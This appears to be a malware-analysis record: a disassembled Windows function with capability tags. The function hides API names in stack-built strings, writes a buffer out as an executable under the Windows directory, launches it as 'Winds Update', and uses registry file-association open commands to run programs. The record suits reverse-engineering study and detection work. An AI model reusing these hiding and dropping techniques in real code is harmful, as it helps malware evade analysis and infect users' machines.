Function at 0x40c0c8
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x534
and byte [ebp - 0x58], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x64]
push edi
mov ebx, str.KERNEL32.dll
push eax
push ebx
mov byte [ebp - 0x64], 0x47
mov byte [ebp - 0x63], 0x65
mov byte [ebp - 0x62], 0x74
mov byte [ebp - 0x61], 0x54
mov byte [ebp - 0x60], 0x69
mov byte [ebp - 0x5f], 0x63
mov byte [ebp - 0x5e], 0x6b
mov byte [ebp - 0x5d], 0x43
mov byte [ebp - 0x5c], 0x6f
mov byte [ebp - 0x5b], 0x75
mov byte [ebp - 0x5a], 0x6e
mov byte [ebp - 0x59], 0x74
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.GetWindowsDirectoryA
push ebx
mov dword [ebp - 8], eax
call esi
push eax
call edi
lea ecx, [ebp - 0x340]
push 0x104
push ecx
call eax
and byte [ebp - 0x33d], 0
and byte [ebp - 0x33], 0
lea eax, [ebp - 0x3c]
mov byte [ebp - 0x3c], 0x77
push eax
push str.USER32.dll
mov byte [ebp - 0x3b], 0x73
mov byte [ebp - 0x3a], 0x70
mov byte [ebp - 0x39], 0x72
mov byte [ebp - 0x38], 0x69
mov byte [ebp - 0x37], 0x6e
mov byte [ebp - 0x36], 0x74
mov byte [ebp - 0x35], 0x66
mov byte [ebp - 0x34], 0x41
call esi
push eax
call edi
mov dword [ebp - 4], eax
call dword [ebp - 8]
push eax
lea eax, [ebp - 0x138]
push str.Program_FilesRu_d.EXE
push eax
call dword [ebp - 4]
and byte [ebp - 0x1c], 0
add esp, 0xc
lea eax, [ebp - 0x24]
mov byte [ebp - 0x24], 0x6c
push eax
push ebx
mov byte [ebp - 0x23], 0x73
mov byte [ebp - 0x22], 0x74
mov byte [ebp - 0x21], 0x72
mov byte [ebp - 0x20], 0x63
mov byte [ebp - 0x1f], 0x61
mov byte [ebp - 0x1e], 0x74
mov byte [ebp - 0x1d], 0x41
call esi
push eax
call edi
lea ecx, [ebp - 0x138]
push ecx
lea ecx, [ebp - 0x340]
push ecx
call eax
push 0x426958
lea eax, [ebp - 0x340]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
push eax
push 1
push dword [ebp + 0xc]
mov dword [ebp - 8], eax
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_fwrite]
push dword [ebp - 8]
call dword [sym.imp.MSVCRT.dll_fclose]
and byte [ebp - 0x76], 0
add esp, 0x1c
lea eax, [ebp - 0x84]
mov byte [ebp - 0x84], 0x43
push eax
push ebx
mov byte [ebp - 0x83], 0x72
mov byte [ebp - 0x82], 0x65
mov byte [ebp - 0x81], 0x61
mov byte [ebp - 0x80], 0x74
mov byte [ebp - 0x7f], 0x65
mov byte [ebp - 0x7e], 0x50
mov byte [ebp - 0x7d], 0x72
mov byte [ebp - 0x7c], 0x6f
mov byte [ebp - 0x7b], 0x63
mov byte [ebp - 0x7a], 0x65
mov byte [ebp - 0x79], 0x73
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x41
call esi
push eax
call edi
cmp dword [ebp + 0x10], 3
mov dword [ebp - 8], eax
jne 0x40c2ac
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0xf0]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x94]
mov dword [ebp - 0xf4], 0x44
push eax
lea eax, [ebp - 0xf4]
push eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x340]
push str.Winds_Update
push eax
mov dword [ebp - 0xec], str.WinSta0Default
call dword [ebp - 8]
jmp 0x40c694
cmp dword [ebp + 0x10], 2
je 0x40c692
mov eax, 0x104
mov dword [ebp + 0xc], eax
push eax
lea eax, [ebp - 0x23c]
push 0
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x340]
push 0x2e
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 0x14
mov dword [ebp + 8], eax
test eax, eax
je 0x40c692
and byte [ebp - 0x67], 0
lea eax, [ebp - 0x74]
push eax
push str.ADVAPI32.dll
mov byte [ebp - 0x74], 0x52
mov byte [ebp - 0x73], 0x65
mov byte [ebp - 0x72], 0x67
mov byte [ebp - 0x71], 0x4f
mov byte [ebp - 0x70], 0x70
mov byte [ebp - 0x6f], 0x65
mov byte [ebp - 0x6e], 0x6e
mov byte [ebp - 0x6d], 0x4b
mov byte [ebp - 0x6c], 0x65
mov byte [ebp - 0x6b], 0x79
mov byte [ebp - 0x6a], 0x45
mov byte [ebp - 0x69], 0x78
mov byte [ebp - 0x68], 0x41
call esi
push eax
call edi
lea ecx, [ebp - 0xc]
mov dword [ebp - 4], eax
push ecx
push 0xf003f
push 0
push dword [ebp + 8]
push SysReAllocString
call eax
test eax, eax
jne 0x40c692
and byte [ebp - 0x86], al
lea eax, [ebp - 0x94]
push eax
push str.ADVAPI32.dll
mov byte [ebp - 0x94], 0x52
mov byte [ebp - 0x93], 0x65
mov byte [ebp - 0x92], 0x67
mov byte [ebp - 0x91], 0x51
mov byte [ebp - 0x90], 0x75
mov byte [ebp - 0x8f], 0x65
mov byte [ebp - 0x8e], 0x72
mov byte [ebp - 0x8d], 0x79
mov byte [ebp - 0x8c], 0x56
mov byte [ebp - 0x8b], 0x61
mov byte [ebp - 0x8a], 0x6c
mov byte [ebp - 0x89], 0x75
mov byte [ebp - 0x88], 0x65
mov byte [ebp - 0x87], 0x41
call esi
push eax
call edi
lea ecx, [ebp + 0xc]
mov dword [ebp + 8], eax
push ecx
lea ecx, [ebp - 0x23c]
push ecx
push 0
push dword [ebp - 0xc]
call eax
and byte [ebp - 0x49], 0
lea eax, [ebp - 0x54]
push eax
push str.ADVAPI32.dll
mov byte [ebp - 0x54], 0x52
mov byte [ebp - 0x53], 0x65
mov byte [ebp - 0x52], 0x67
mov byte [ebp - 0x51], 0x43
mov byte [ebp - 0x50], 0x6c
mov byte [ebp - 0x4f], 0x6f
mov byte [ebp - 0x4e], 0x73
mov byte [ebp - 0x4d], 0x65
mov byte [ebp - 0x4c], 0x4b
mov byte [ebp - 0x4b], 0x65
mov byte [ebp - 0x4a], 0x79
call esi
push eax
call edi
push dword [ebp - 0xc]
mov dword [ebp - 0xb0], eax
call eax
push 0x1f4
lea eax, [ebp - 0x534]
push 0
push eax
call sub.MSVCRT.dll_memset
and byte [ebp - 0x3f], 0
add esp, 0xc
lea eax, [ebp - 0x48]
mov byte [ebp - 0x48], 0x77
push eax
push str.USER32.dll
mov byte [ebp - 0x47], 0x73
mov byte [ebp - 0x46], 0x70
mov byte [ebp - 0x45], 0x72
mov byte [ebp - 0x44], 0x69
mov byte [ebp - 0x43], 0x6e
mov byte [ebp - 0x42], 0x74
mov byte [ebp - 0x41], 0x66
mov byte [ebp - 0x40], 0x41
call esi
push eax
call edi
mov byte [ebp - 0xac], 0x25
mov byte [ebp - 0xab], 0x73
mov byte [ebp - 0xaa], 0x5c
mov byte [ebp - 0xa9], 0x73
mov byte [ebp - 0xa8], 0x68
mov byte [ebp - 0xa7], 0x65
mov byte [ebp - 0xa6], 0x6c
mov byte [ebp - 0xa5], 0x6c
mov byte [ebp - 0xa4], 0x5c
lea ecx, [ebp - 0x23c]
and byte [ebp - 0x97], 0
push ecx
lea ecx, [ebp - 0xac]
push ecx
lea ecx, [ebp - 0x534]
push ecx
mov byte [ebp - 0xa3], 0x6f
mov byte [ebp - 0xa2], 0x70
mov byte [ebp - 0xa1], 0x65
mov byte [ebp - 0xa0], 0x6e
mov byte [ebp - 0x9f], 0x5c
mov byte [ebp - 0x9e], 0x63
mov byte [ebp - 0x9d], 0x6f
mov byte [ebp - 0x9c], 0x6d
mov byte [ebp - 0x9b], 0x6d
mov byte [ebp - 0x9a], 0x61
mov byte [ebp - 0x99], 0x6e
mov byte [ebp - 0x98], 0x64
call eax
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0xf003f
lea eax, [ebp - 0x534]
push 0
push eax
push SysReAllocString
call dword [ebp - 4]
test eax, eax
jne 0x40c692
push 0x104
push eax
lea eax, [ebp - 0x23c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], 0x104
push eax
lea eax, [ebp - 0x23c]
push eax
push 0
push dword [ebp - 0xc]
call dword [ebp + 8]
push dword [ebp - 0xc]
call dword [ebp - 0xb0]
mov ecx, dword [0x42d2a8]
lea eax, [ebp - 0x23c]
push 0x4267ec
push eax
call fcn.0040d6bd
test eax, eax
mov dword [ebp + 8], eax
jne 0x40c5b9
mov ecx, dword [0x42d2a8]
lea eax, [ebp - 0x23c]
push 0x4267e8
push eax
call fcn.0040d6bd
mov dword [ebp + 8], eax
and byte [ebp - 0x10], 0
lea eax, [ebp - 0x18]
push eax
push ebx
mov byte [ebp - 0x18], 0x6c
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x74
mov byte [ebp - 0x15], 0x72
mov byte [ebp - 0x14], 0x63
mov byte [ebp - 0x13], 0x61
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x41
call esi
push eax
call edi
and byte [ebp - 0x28], 0
mov dword [ebp - 4], eax
lea eax, [ebp - 0x30]
mov byte [ebp - 0x30], 0x6c
push eax
push ebx
mov byte [ebp - 0x2f], 0x73
mov byte [ebp - 0x2e], 0x74
mov byte [ebp - 0x2d], 0x72
mov byte [ebp - 0x2c], 0x63
mov byte [ebp - 0x2b], 0x70
mov byte [ebp - 0x2a], 0x79
mov byte [ebp - 0x29], 0x41
call esi
push eax
call edi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x40c641
lea eax, [ebp - 0x23c]
push 0x42655c
push eax
call dword [ebp - 4]
lea eax, [ebp - 0x340]
push eax
lea eax, [ebp - 0x23c]
push eax
call dword [ebp - 4]
jmp 0x40c64d
lea ecx, [ebp - 0x340]
push ecx
push dword [ebp + 8]
call eax
push 0x10
xor eax, eax
cmp dword [ebp + 0x10], esi
pop ecx
lea edi, [ebp - 0xf0]
rep stosd dword es:[edi], eax
mov dword [ebp - 0xf4], 0x44
je 0x40c673
mov dword [ebp - 0xec], str.WinSta0Default
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0xf4]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x23c]
push esi
push eax
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0xc